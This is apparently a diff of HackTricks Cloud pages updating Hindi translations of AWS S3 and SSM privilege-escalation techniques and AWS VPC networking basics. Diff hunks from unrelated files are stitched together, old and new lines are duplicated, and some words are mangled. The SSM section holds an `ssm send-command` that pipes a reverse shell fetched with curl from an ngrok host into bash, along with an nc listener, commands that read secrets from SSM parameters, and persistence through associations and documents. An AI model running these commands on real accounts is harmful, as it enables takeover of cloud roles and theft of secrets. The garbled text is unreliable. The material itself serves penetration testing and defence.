- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **EC2 instance के अंदर arbitrary code execute करने के लिए तैयार कर देना**.
- अगर कोई EC2 instance **user data को S3 bucket में store** कर रहा है, तो attacker उसे modify करके **EC2 instance के अंदर arbitrary code execute** कर सकता है।
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
यह बहुत common है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files cloud providers की blob storage में save की जाती हैं, जैसे AWS S3। state file का suffix `.tfstate` होता है, और bucket names अक्सर यह भी बता देते हैं कि उनमें terraform state files हैं। आम तौर पर, हर AWS account में ऐसा एक bucket होता है जिसमें state files store होती हैं जो account की state दिखाती हैं।
साथ ही, real world accounts में लगभग हमेशा सभी developers के पास `s3:*` होता है, और कभी-कभी business users के पास भी `s3:Put*` होता है।
So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
तो, अगर आपके पास इन files पर listed permissions हैं, तो एक attack vector है जो आपको pipeline में `terraform` के privileges के साथ RCE दिला सकता है - ज़्यादातर समय `AdministratorAccess`, जिससे आप cloud account के admin बन जाते हैं। साथ ही, आप इस vector का उपयोग denial of service attack करने के लिए भी कर सकते हैं, `terraform` से legitimate resources delete करवाकर।
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
Directly usable exploit code के लिए *Terraform Security* page के *Abusing Terraform State Files* section में दी गई description follow करें:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +65,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
### `s3:PutBucketPolicy`
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
एक attacker, जिसे **same account** से होना चाहिए, वरना error `The specified method is not allowed will trigger`, इस permission के साथ bucket(s) पर खुद को और permissions दे सकता है, जिससे वह buckets को read, write, modify, delete और expose कर सके।
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
एक attacker इन permissions का दुरुपयोग करके specific buckets पर खुद को **अधिक पहुँच** दे सकता है।\
ध्यान दें कि attacker का उसी खाते से होना आवश्यक नहीं है। इसके अलावा write access
एक attacker इन permissions का abuse करके specific buckets पर अपने लिए **more access** grant कर सकता है।\
ध्यान दें कि attacker को same account से होने की जरूरत नहीं है। इसके अलावा write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access प्राप्त कर सकता है।
एक attacker इन permissions का abuse करके buckets के अंदर specific objects पर खुद को अधिक access दे सकता है।
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,16 +178,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
An attacker with these privileges से अपेक्षा की जाती है कि वह किसी specific object version पर Acl लगा सके
इन privileges के साथ एक attacker से अपेक्षा की जाती है कि वह किसी specific object version पर Acl लगा सके
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
जिसके पास s3:PutBucketCORS permission है, एक हमलावर bucket की CORS (Cross-Origin Resource Sharing) कॉन्फ़िगरेशन को बदल सकता है, जो नियंत्रित करती है कि कौन से वेब डोमेन इसके endpoints तक पहुँच सकते हैं। यदि वे एक permissive नीति सेट करते हैं, तो कोई भी वेबसाइट सीधे bucket को अनुरोध भेज सकती है और ब्राउज़र से प्रतिक्रियाएँ पढ़ सकती है।
s3:PutBucketCORS permission वाला attacker bucket की CORS (Cross-Origin Resource Sharing) configuration को modify कर सकता है, जो control करती है कि कौन-से web domains उसके endpoints access कर सकते हैं। अगर वे permissive policy set कर दें, तो कोई भी website bucket पर direct requests भेज सकती है और browser से responses पढ़ सकती है।
इसका मतलब यह है कि संभावित रूप से, यदि bucket से होस्ट की गई किसी वेब ऐप का प्रमाणीकृत उपयोगकर्ता हमलावर की वेबसाइट पर जाता है, तो हमलावर permissive CORS नीति का शोषण कर सकता है और, एप्लिकेशन पर निर्भर करते हुए, उपयोगकर्ता के प्रोफ़ाइल डेटा तक पहुँच सकता है या यहाँ तक कि उपयोगकर्ता के खाते पर कब्ज़ा कर सकता है।
इसका मतलब है कि, potentially, अगर bucket से host किए गए web app का कोई authenticated user attacker की website visit करता है, तो attacker permissive CORS policy का exploit कर सकता है और, application पर निर्भर करते हुए, user के profile data तक access कर सकता है या even user account hijack कर सकता है।
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
@@ -12,7 +12,7 @@ SSM के बारे में अधिक जानकारी के ल
### `ssm:SendCommand`
**`ssm:SendCommand`** अनुमति वाला एक attacker Amazon SSM Agent चल रह instances में **commands execute** कर सकता है और उसके अंदर चल रहे **IAM Role** को **compromise** कर सकता है।
`ssm:SendCommand` अनुमति वाला attacker Amazon SSM Agent चल रह instances में **commands execute** कर सकता है और उसमें चल रहे **IAM Role** को compromise कर सकता है।
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
यदि आप इस technique का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस rev shell को locally capture कर सकते हैं:
यदि आप इस technique का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस rev shell को locally इस तरह capture कर सकते हैं:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
### `ssm:StartSession`
**`ssm:StartSession`** permission वाला attacker Amazon SSM Agent चलाने वाले **instances में SSH-like session start** कर सकता है और उसके अंदर चल रहे **IAM Role** को **compromise** कर सकता है।
**`ssm:StartSession`** permission वाला attacker Amazon SSM Agent चलाने वाले instances में **SSH-like session शुरू** कर सकता है और उसके अंदर चल रहे **IAM Role को compromise** कर सकता है।
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> क session शुरू करने के लिए आपको **SessionManagerPlugin** installed होना चाहिए: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> ोई session शुरू करने के लिए आपको **SessionManagerPlugin** install करना होगा: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** चल रहे instances पर लगे EC2 IAM roles तक direct privesc, जिनमें SSM Agents चल रहे हों।
**Potential Impact:** running instances पर लगे हुए EC2 IAM roles तक direct privesc, जिनमें SSM Agents चल रहे हों।
#### Privesc to ECS
जब **ECS tasks** **`ExecuteCommand` enabled** के साथ चलते हैं, त पर्याप्त permissions वाले users `ecs execute-command` का use करके container के अंदर **execute a command** कर सकते हैं.\
[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार, यह आपके device, जिससे आप “_exec_“ command initiate करते हैं, और target container के बीच SSM Session Manager के साथ एक secure channel बनाकर किया जाता है. (यह काम करने के लिए SSM Session Manager Plugin आवश्यक है)\
इसलिए, `ssm:StartSession` वाले users इस option के enabled होने पर सिर्फ यह चलाकर **ECS tasks के अंदर shell** सकेंगे:
जब **ECS tasks** **`ExecuteCommand` enabled** के साथ run होते हैं, त पर्याप्त permissions वाले users `ecs execute-command` का उपयोग करके container के अंदर एक command **execute** कर सकते हैं\
[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार यह उस device और target container के बीच SSM Session Manager के साथ एक secure channel बनाकर किया जाता है, जिसका उपयोग आप “_exec_“ command शुरू करने के लिए करते हैं। (इस काम के लिए SSM Session Manager Plugin जरूरी है)\
इसलिए, जिन users के पास `ssm:StartSession` है, वे इस option के enabled होने पर सिर्फ यह चलाकर ECS tasks के अंदर **shell**्राप्त कर सकेंगे:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
![Terminal running aws ssm start-session against an ECS target and receiving a root shell](<../../../images/image (185).png>)
**Potential Impact:** `ExecuteCommand` enabled होने पर running tasks से attached `ECS`IAM roles तक direct privesc
**संभावित प्रभाव:** `ExecuteCommand` सक्षम होने पर running tasks से जुड़े `ECS`IAM roles तक direct privesc.
### `ssm:ResumeSession`
**`ssm:ResumeSession`** permission वाला attacker, Amazon SSM Agent चल रहे **instances** में **disconnected** SSM session state के साथ एक SSH like session को **re-start** कर सकता है और उसमें चल रहे **IAM Role** को compromise कर सकता है।
**`ssm:ResumeSession`** permission वाला attacker, Amazon SSM Agent चल रहे instances में **disconnected** SSM session state के साथ एक **SSH जैसी session को फिर से शुरू** कर सकता है और उसमें चल रहे **IAM Role** को **compromise** कर सकता है।
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,22 +72,22 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**संभावित प्रभाव:** चल रहे instances पर attached EC2 IAM roles तक सीधे privesc, जिनमें SSM Agents चल रहे हों और disconnected sessions हों।
**संभावित प्रभाव:** चल रहे instances पर लगे EC2 IAM roles तक direct privesc, जिनमें SSM Agents चल रहे हों और disconnected sessions हों।
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
उल्लेखित permissions वाला attacker **SSM parameters** को list करने और उन्हें **clear-text में read करने** में सक्षम होगा। इन parameters में आप अक्सर **sensitive information** जैसे SSH keys या API keys पा सकते हैं।
उल्लेखित permissions वाला attacker **SSM parameters** को list कर सकेगा और उन्हें **clear-text में पढ़** सकेगा। इन parameters में आप अक्सर **sensitive information** जैसे SSH keys या API keys पा सकते हैं।
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**संभावित प्रभाव:** पैरामीटर्स के अंदर संवेदनशील जानकारी खोजें।
**संभावित प्रभाव:** parameters के अंदर संवेदनशील जानकारी खोजें।
### `ssm:ListCommands`
इस permission वाला attacker भेजे गए सभी **commands** को list कर सकता है और उम्मीद है कि उनमें **संवेदनशील जानकारी** मिल जाएगी
इस permission वाला attacker भेजे गए सभी **commands** को list कर सकता है और उम्मीद है उनमें **sensitive information** खोज सकता है
```
aws ssm list-commands
```
@@ -95,7 +95,7 @@ aws ssm list-commands
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
इन permissions वाला attacker सभी भेजे गए **commands** को list कर सकता है और generated output को **read** कर सकता है, जिससे उम्मीद है कि उसमें **sensitive information** मिल जाएगी।
इन permissions वाला attacker भेजे गए सभी **commands** को list कर सकता है और generated **output** को **read** कर सकता है, जिससे उम्मीद है कि उसमें **संवेदनशील जानकारी** मिल जाएगी।
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**संभावित प्रभाव:** कमांड लाइनों के output के भीतर संवेदनशील जानकारी खोजें।
**संभावित प्रभाव:** command lines के output के अंदर संवेदनशील जानकारी खोजें।
### Using ssm:CreateAssociation
### `ssm:CreateAssociation` का उपयोग
**`ssm:CreateAssociation`** अनुमति वाला attacker एक State Manager Association बना सकता है ताकि SSM द्वारा managed EC2 instances पर commands automatically execute क जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे े interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनती हैं।
**`ssm:CreateAssociation`** permission वाला attacker एक State Manager Association बना सकता है ताकि SSM द्वारा managed EC2 instances पर automatically commands execute किए जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे े interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनती हैं।
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,11 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> यह persistence method तब तक काम करत है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं होती। **Important:** `--schedule-expression` parameter (e.g., `rate(30 minutes)`) को AWS क minimum interval of 30 minutes का पालन करना चाहिए। Immediate या one-time execution के लिए, `--schedule-expression` को पूरी तरह omit करें — association creation के बाद एक बार execute होग
> यह persistence method तब तक काम करत है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent running है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं होती। **Important:** `--schedule-expression` parameter (जैसे, `rate(30 minutes)`) को AWS क minimum interval 30 minutes का पालन करना होगा। Immediate या one-time execution के लिए, `--schedule-expression` को पूरी तरह omit करें — association creation के बाद एक बार execute होग
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
**`ssm:UpdateDocument`** और **`ssm:UpdateDocumentDefaultVersion`** permissions वाला attacker existing documents को modify करके privileges escalate कर सकता है। इससे उस document के भीतर persistence भी संभव हो जाती है। Practical तौर पर attacker को custom documents के names पाने के लिए **`ssm:ListDocuments`** भी चाहिए होग, और अगर attacker किसी existing document के भीतर अपने payload को obfuscate करना चाहता है, तो **`ssm:GetDocument`** भी आवश्यक होगा।
**`ssm:UpdateDocument`** और **`ssm:UpdateDocumentDefaultVersion`** permissions वाला attacker existing documents modify करके privileges escalate कर सकता है। यह उस document के भीतर persistence भी allow करता है। Practical तौर पर attacker को custom documents के names पाने के लिए **`ssm:ListDocuments`** की भी आवश्यकता होग, और अगर attacker existing document के भीतर अपने payload को obfuscate करना चाहता है तो **`ssm:GetDocument`** भी आवश्यक होगा।
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
@@ -133,7 +133,7 @@ aws ssm update-document \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
नीचे एक उदाहरण दस्तावेज़ है जिसका उपयोग किसी मौजूदा दस्तावेज़ को overwrite करने के लिए किया जा सकता है। आप यह सुनिश्चित करना चाहेंगे कि आपके दस्तावेज़ का type target दस्तावेज़ के type से match करे, ताकि innvocation से issues न हों। नीचे दिया गया document, उदाहरण के लिए, **`ssm:SendCommand`** और **`ssm:CreateAssociation`** examples में काम करेगा।
नीचे एक उदाहरण दस्तावेज़ है जिसका उपयोग किसी मौजूदा दस्तावेज़ को overwrite करने के लिए किया जा सकता है। आप यह सुनिश्चित करना चाहेंगे कि आपके दस्तावेज़ का type target document के type से मेल खाए ताकि invocation में issues न हों। नीचे दिया गया document उदाहरण के लिए **`ssm:SendCommand`** और **`ssm:CreateAssociation`** examples का उपयोग करेगा।
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
@@ -151,7 +151,7 @@ runCommand:
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
**`ssm:RegisterTaskWithMaintenanceWindow`** और **`ssm:RegisterTargetWithMaintenanceWindow`** permissions वाला attacker पहले किसी existing maintenance window के साथ एक नया target register करके, फिर एक नया task update/register करके privileges escalate कर सकता है। इससे existing targets पर execution मिलती है, लेकिन नया target register करके अलग-अलग roles वाले compute को compromise करने की भी अनुमति मिल सकत है। इससे persistence भी संभव होती है, क्योंकि maintenance window के दौरान tasks, window creation के समय defined interval पर execute होते हैं। Practical तौर पर attacker को maintenance window IDs पाने के लिए **`ssm:DescribeMaintenanceWindows`** की भी जरूरत होग
**`ssm:RegisterTaskWithMaintenanceWindow`** और **`ssm:RegisterTargetWithMaintenanceWindow`** permissions वाला attacker पहले existing maintenance window के साथ एक नया target register करके, और फिर एक नया task register करके privileges escalate कर सकता है। इससे existing targets पर execution हासिल होती है, लेकिन न targets register करके attacker अलग-अलग roles वाले compute को compromise कर सकत है। यह persistence भी देता है क्योंकि maintenance window create होने पर tasks window के दौरान एक pre-defined interval पर execute होते हैं। Practical तौर पर attacker को maintenance window IDs पाने के लिए **`ssm:DescribeMaintenanceWindows`** भी चाहिए होग
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
@@ -1,185 +1,185 @@
# AWS - VPC & Networking बुनियादी जानकारी
# AWS - VPC & Networking Basic Information
{{#include ../../../../banners/hacktricks-training.md}}
## AWS नेटवर्किंग का सारांश
## AWS Networking in a Nutshell
A **VPC** में एक **network CIDR** होता है जैसे 10.0.0.0/16 (जिसके साथ उसका **routing table** और **network ACL**).
एक **VPC** में **network CIDR** जैसे 10.0.0.0/16 (सके **routing table** और **network ACL** के साथ) शामिल होता है।
यह VPC नेटवर्क **subnetworks** में बाँटा जाता है, इसलिए एक **subnetwork** सीधे **VPC**, **routing table** और **network ACL** से संबंधित होता है।
यह VPC network **subnetworks** में विभाजित होता है, इसलिए एक **subnetwork** सीधे **VPC**, **routing** **table** और **network ACL** से **related** होता है।
फिर, सेवाओं (जैसे EC2 instances) से जुड़े **Network Interface**s उन **subnetworks** से **connected** होते हैं और उन पर **security group(s)** लागू होते हैं।
फिर, services (जैसे EC2 instances) से जुड़े **Network Interface**s **security group(s)** के साथ **subnetworks** से **connected** होते हैं।
इसलिए, एक **security group**न नेटवर्क **interfaces using it** के खुले हुए पोर्टों को सीमित करेगा, **subnetwork** से स्वतंत्र रूप से। और एक **network ACL** पूरे नेटवर्क के लिए खुले हुए पोर्टों को **सीमित** करेगा।
इसलिए, एक **security group**स network **interfaces using it** के exposed ports को **limit** करेगा, **independently of the subnetwork**. और एक **network ACL** पूरे **network** के exposed ports को **limit** करेगा।
इसके अलावा, Internet तक पहुँचने के लिए कुछ महत्वपूर्ण कॉन्फ़िगरेशन हैं जिन्हें चेक करन चाहिए:
इसके अलावा, **Internet** को **access** करने के लिए, कुछ interesting configurations check करन चाहिए:
- एक **subnetwork** सार्वजनिक IPv4 पते **auto-assign** कर सकता है
- नेटवर्क में बनाया गया एक **instance** जो **auto-assign IPv4 addresses** सक्षम करता है, उसे एक पता मिल सकता है
- एक **subnetwork** **auto-assign public IPv4 addresses** कर सकता है
- network में बनाया गया एक **instance** जो **auto-assign IPv4 addresses can get one** कर सकता है
- एक **Internet gateway** को **VPC** से **attached** होना चाहिए
- आप **Egress-only internet gateways** भी उपयोग कर सकते हैं
- आप एक **private subnet** में एक **NAT gateway** भी रख सकते हैं ताकि उस private subnet से external services से कनेक्ट होना संभव हो, पर बाहरी तरफ से उन private संसाधनों तक पहुँचना संभव नहीं होता
- NAT gateway **public** (internet access) या **private** (अन्य VPCs तक पहुँच) हो सकता है
- आप **Egress-only internet gateways** भी use कर सकते हैं
- आप एक **private subnet** में **NAT gateway** भी रख सकते हैं, ताकि उस private subnet से **external services** से **connect** करना possible हो, लेकिन उन्हें बाहर से **reach** करना **not possible** है
- NAT gateway **public** (internet access) या **private** (other VPCs access) हो सकता है
![](<../../../../images/image (274).png>)
![AWS VPC networking diagram with public and private subnets, internet gateway, NAT gateway, and cloud access](<../../../../images/image (274).png>)
## VPC
Amazon **Virtual Private Cloud** (Amazon VPC) आपको उस वर्चुअल नेटवर्क में **AWS resources लॉन्च** करने में सक्षम बनाता है जिसे आपने परिभाषित किया है। इस वर्चुअल नेटवर्क में कई subnets, Internet Gateways इंटरनेट एक्सेस के लिए, ACLs, Security groups, IPs आदि होंगे...
Amazon **Virtual Private Cloud** (Amazon VPC) आपको **launch AWS resources into a virtual network** करने देता है जिसे आपने define किया है। इस virtual network में कई subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... होंगे
### Subnets
Subnets सुरक्षा के एक उच्च स्तर को लागू करने में मदद करते हैं। समान संसाधनों का **logical grouping** आपके इंफ्रास्ट्रक्चर के प्रबंधन को आसान बनाता है।
Subnets अधिक security level enforce करने में मदद करते हैं। **Logical grouping of similar resources** भी आपके infrastructure में **ease of management** बनाए रखने में मदद करता है।
- वैध CIDR एक /16 netmask से लेकर /28 netmask तक होते हैं।
- एक subnet एक ही समय में विभिन्न availability zones में नहीं हो सकता।
- **AWS प्रत्येक subnet के पहले तीन host IP addresses आरक्षित करता है** आंतरिक AWS उपयोग के लिए: पहला host address VPC router के लिए उपयोग होता है। दूसरा पता AWS DNS के लिए आरक्षित है और तीसरा पता भविष्य के उपयोग के लिए आरक्षित है।
- जिन subnets को **इंटरनेट का सीधा एक्सेस** होता है उन्हें **public subnets** कहा जाता है, जबकि private subnets में ऐसा नहीं होता।
- Valid CIDR /16 netmask से /28 netmask तक होते हैं।
- एक subnet एक ही समय पर different availability zones में नहीं हो सकता।
- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: पहला host address VPC router के लिए use होता है। दूसरा address AWS DNS के लिए reserved है और तीसरा address future use के लिए reserved है।
- जिनका **direct access to the Internet** है उन्हें **public subnets** कहा जाता है, जबकि private subnets के पास यह नहीं होता।
### Route Tables
Route tables एक VPC के भीतर किसी subnet के लिए ट्रैफिक रूटिंग निर्धारित करत हैं। वे निर्धारित करत हैं कि कौन सा नेटवर्क ट्रैफिक इंटरनेट को अग्रेषित किया जाए या VPN कनेक्शन की ओर। आप आम तौर पर निम्नलिखित एक्सेस पाएंगे:
Route tables VPC के भीतर क subnet के लिए traffic routing तय करत हैं। वे त करत हैं कि कौन सा network traffic internet या VPN connection की ओर forward होगा। आपको आमतौर पर निम्न तक access मिलेगा:
- Local VPC
- NAT
- Internet Gateways / Egress-only Internet gateways (VPC को इंटरनेट एक्सेस देने के लिए आवश्यक)
- किसी subnet को public बनाने के लिए आपको अपन VPC में एक **Internet gateway** **create** और **attach** करना होगा।
- VPC endpoints (private networks से S3 तक पहुँचने के लिए)
- Internet Gateways / Egress-only Internet gateways (VPC को Internet access देने के लिए needed).
- किसी subnet को public बनाने के लिए आपको अपन VPC में एक **Internet gateway** **create** और **attach** करना होगा।
- VPC endpoints (private networks से S3 access करने के लिए)
### ACLs
**Network Access Control Lists (ACLs)**: Network ACLs फ़ायरवॉल नियम हैं जो एक subnet के लिए इनकमिंग और आउटगोइंग नेटवर्क ट्रैफिक को नियंत्रित करते हैं। इन्हें विशिष्ट IP पतों या रेंजों के लिए ट्रैफिक की अनुमति देने या इनकार करने के लिए उपयोग किया जा सकता है।
**Network Access Control Lists (ACLs)**: Network ACLs firewall rules हैं जो subnet पर incoming और outgoing network traffic control करते हैं। इन्हें specific IP addresses या ranges को allow या deny करने के लिए use किया जा सकता है।
- सामान्यतः access allow/deny करने के लिए security groups का उपयोग सबसे अधिक होता है, लेकिन यह ही एकमात्र तरीका है जो स्थापित reverse shells को पूरी तरह काट सकता है। security group में किया गया संशोधित नियम पहले से स्थापित कनेक्शनों को नहीं रोकता
- हालाकि, यह पूरे subnetwork पर लागू होता है — सावधानी बरतें जब कुछ चीज़ों को प्रतिबंधित कर रहे हों क्योंकि आवश्यक कार्यक्षमता प्रभावित हो सकती है
- access को security groups का use करके allow/deny करना सबसे common है, लेकिन established reverse shells को completely cut करने का यही तरीका है। security groups में modified rule already established connections को नहीं रोकता
- हालाकि, यह पूरे subnetwork पर लागू होता है, इसलिए चीज़ों को forbid करते समय सावधान रहें क्योंकि needed functionality disturb हो सकती है
### Security Groups
Security groups एक वर्चुअल **firewall** हैं जो VPC में instances के लिए inbound और outbound नेटवर्क ट्रैफिक को नियंत्रित करते हैं। संबंध 1 SG से M instances (अक्सर 1 से 1)\
आम तौर पर इसका उपयोग instances में खतरनाक पोर्ट खोलने के लिए किया जाता है, जैसे उदाहरण के लिए पोर्ट 22:
Security groups एक virtual **firewall** हैं जो VPC में instances के लिए inbound और outbound network **traffic** control करते हैं। Relation 1 SG to M instances (usually 1 to 1).\
Usually इसका use instances में dangerous ports खोलने के लिए किया जाता है, जैसे port 22:
<figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
### Elastic IP Addresses
एक _Elastic IP address_ एक **static IPv4 address** है जो dynamic cloud computing के लिए डिज़ाइन किया गया है। एक Elastic IP address आपके AWS account को allocate किया जाता है, और जब तक आप उसे रिलीज़ नहीं करते वह आपका हता है। Elastic IP address का उपयोग करके, आप क instance या सॉफ़्टवेयर की विफलता को छिपा सकते हैं और तेज़ी से उस पते को अपने खाते के किसी अन्य instance पर remap कर सकते हैं।
An _Elastic IP address_ एक **static IPv4 address** है, जो dynamic cloud computing के लिए designed है। एक Elastic IP address आपके AWS account को allocated होता है, और जब तक आप उसे release नहीं करते, वह आपका ही रहता है। Elastic IP address का use करके, आप किसी instance या software की failure को अपने account में दूसरे instance पर जल्दी से remap करके mask कर सकते हैं।
### Connection between subnets
डिफ़ॉल्ट रूप से, सभी subnets में **public IP addresses का automatic assigned बंद** होता है पर इसे चालू किया जा सकता है।
By default, सभी subnets में **automatic assigned of public IP addresses turned off** होता है, लेकिन इसे turn on किया जा सकता है।
**एक local route किसी route table के भीतर VPC subnets के बीच संचार सक्षम करता है।**
**A local route within a route table enables communication between VPC subnets.**
यदि आप एक subnet को किसी अन्य subnet से **connect** कर रहे हैं तो आप उन subnets तक पहुँच नहीं सकते जो दूसरे subnet के साथ connected हैं; आपको उनके साथ सीधे कनेक्शन बनाना होगा। **यह इंटरनेट gateways पर भी लागू होता है** आप इंटरनेट तक पहुँचने के लिए एक subnet कनेक्शन के माध्यम से नहीं जा सकते; आपको अपने subnet को Internet gateway असाइन करना होगा।
अगर आप एक subnet को different subnet के साथ **connection** कर रहे हैं तो आप दूसरे subnet से जुड़े subnetsो access नहीं कर सकते, आपको उनसे directly connection बनाना होगा। **यह internet gateways पर भी लागू होता है**। subnet connection के through internet access नहीं किया जा सकता, इसके लिए आपको internet gateway अपने subnet को assign करना होगा।
### VPC Peering
VPC peering आपको **दो या अधिक VPCs को एक साथ कनेक्ट** करने की अनुमति देता है, IPV4 या IPV6 का उपयोग करके, मानो वे एक ही नेटवर्क का हिस्सा हों।
VPC peering आपको **IPV4** या **IPV6** का use करके दो या अधिक VPCs को एक साथ **connect** करने देता है, जैसे वे same network का part हों।
एक बार peer connectivity स्थापित हो जाने पर, **एक VPC के संसाधन दूसरे VPC के संसाधनों तक पहुँच सकते हैं।** VPCs के बीच कनेक्टिविटी मौजूदा AWS नेटवर्क इन्फ्रास्ट्रक्चर के माध्यम से लागू की जाती है, इसलिए यह उच्च उपलब्धता के साथ है और बैंडविड्थ बॉटलनेक नहीं होता। चूँकि **peered connections उसी नेटवर्क का हिस्सा होने जैसा व्यवहार करते हैं**, इसलिए आपके CIDR block रेंज के बारे में कुछ प्रतिबंध होत हैं।\
यदि आपक VPC के लिए **overlapping या duplicate CIDR** रेंज हैं, तो आप VPCs को peer नहीं कर पाएंगे।\
प्रत्येक AWS VPC केवल अपने peer के साथ ही संवाद करेग। उदाहरण के लिए, यदि आपके पास VPC 1 और VPC 2 के बीच एक peering connection है, और VPC 2 और VPC 3 के बीच एक और connection है जैसा दिखाया गया है, तो VPC 1 और VPC 2 सीधे एक दूसरे साथ संवाद कर सकते हैं, ैसे VPC 2 और VPC 3, परन्तु VPC 1 और VPC 3 नहीं कर पाएंगे। **आप एक VPC के माध्यम से रूट करके दूसरे VPC तक नहीं जा सकते।**
एक बार peer connectivity established हो जाने पर, **resources in one VPC can access resources in the other**. VPCs के बीच connectivity existing AWS network infrastructure के through implement की जाती है, इसलिए यह highly available होती है और bandwidth bottleneck नहीं होता। क्योंकि **peered connections operate as if they were part of the same network**, इसलिए use होने वाले CIDR block ranges पर restrictions होत हैं।\
अगर आपक VPC के लिए **overlapping or duplicate CIDR** ranges हैं, तो आप VPCs को एक साथ **peer** नहीं कर पाएंगे।\
